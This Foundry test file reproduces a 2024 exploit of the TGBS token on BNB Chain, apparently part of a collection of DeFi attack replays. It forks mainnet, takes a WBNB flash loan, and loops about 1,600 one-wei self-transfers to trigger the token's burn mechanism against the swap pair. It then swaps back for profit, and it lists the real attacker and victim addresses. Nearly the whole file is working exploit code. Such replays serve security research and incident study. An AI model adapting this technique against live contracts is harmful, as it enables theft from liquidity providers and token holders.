src/test/2024-03/TGBS_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$150K
8// Attacker : https://bscscan.com/address/0xff1db040e4f2a44305e28f8de728dabff58f01e1
9// Attack Contract : https://bscscan.com/address/0x1a8eb8eca01819b695637c55c1707f9497b51cd9
10// Created Attack Contract: https://bscscan.com/address/0x3eBA5062ca36DFB16156748f0fD3A608Be9E3011
11// Vuln Contract : https://bscscan.com/address/0xedecfa18cae067b2489a2287784a543069f950f4
12// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xa0408770d158af99a10c60474d6433f4c20f3052e54423f4e590321341d4f2a4
13 
14// @Analysis
15 
16// https://twitter.com/Phalcon_xyz/status/1765285257949974747
17 
18interface ITGBS is IERC20 {
19    function _burnBlock() external view returns (uint256);
20}
21 
22contract ContractTest is Test {
23    DVM private constant DPPOracle = DVM(0x05d968B7101701b6AD5a69D45323746E9a791eB5);
24    IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
25    ITGBS private constant TGBS = ITGBS(0xedecfA18CAE067b2489A2287784a543069f950F4);
26    Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
27 
28    function setUp() public {
29        vm.createSelectFork("bsc", 36_725_819);
30        vm.label(address(DPPOracle), "DPPOracle");
31        vm.label(address(WBNB), "WBNB");
32        vm.label(address(TGBS), "TGBS");
33        vm.label(address(Router), "Router");
34    }
35 
36    function testExploit() public {
37        emit log_named_decimal_uint(
38            "Exploiter WBNB balance before attack", WBNB.balanceOf(address(this)), WBNB.decimals()
39        );
40 
41        uint256 baseAmount = WBNB.balanceOf(address(DPPOracle));
42        DPPOracle.flashLoan(baseAmount, 0, address(this), abi.encodePacked(uint32(0)));
43 
44        emit log_named_decimal_uint(
45            "Exploiter WBNB balance after attack", WBNB.balanceOf(address(this)), WBNB.decimals()
46        );
47    }
48 
49    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
50        WBNB.approve(address(Router), baseAmount);
51        WBNBToTGBS(baseAmount);
52 
53        uint256 i;
54        while (i < 1600) {
55            TGBS.transfer(address(this), 1);
56            uint256 burnBlock = TGBS._burnBlock();
57            // If burn block is not a current block number, the amount of TGBS will be burned in swap pair
58            if (burnBlock != block.number) {
59                ++i;
60            }
61        }
62        TGBS.approve(address(Router), TGBS.balanceOf(address(this)));
63        TGBSToWBNB(TGBS.balanceOf(address(this)));
64 
65        WBNB.transfer(address(DPPOracle), baseAmount);
66    }
67 
68    function WBNBToTGBS(
69        uint256 amountIn
70    ) private {
71        address[] memory path = new address[](2);
72        path[0] = address(WBNB);
73        path[1] = address(TGBS);
74        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
75            amountIn, 0, path, address(this), block.timestamp + 10
76        );
77    }
78 
79    function TGBSToWBNB(
80        uint256 amountIn
81    ) private {
82        address[] memory path = new address[](2);
83        path[0] = address(TGBS);
84        path[1] = address(WBNB);
85        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
86            amountIn, 0, path, address(this), block.timestamp + 10
87        );
88    }
89}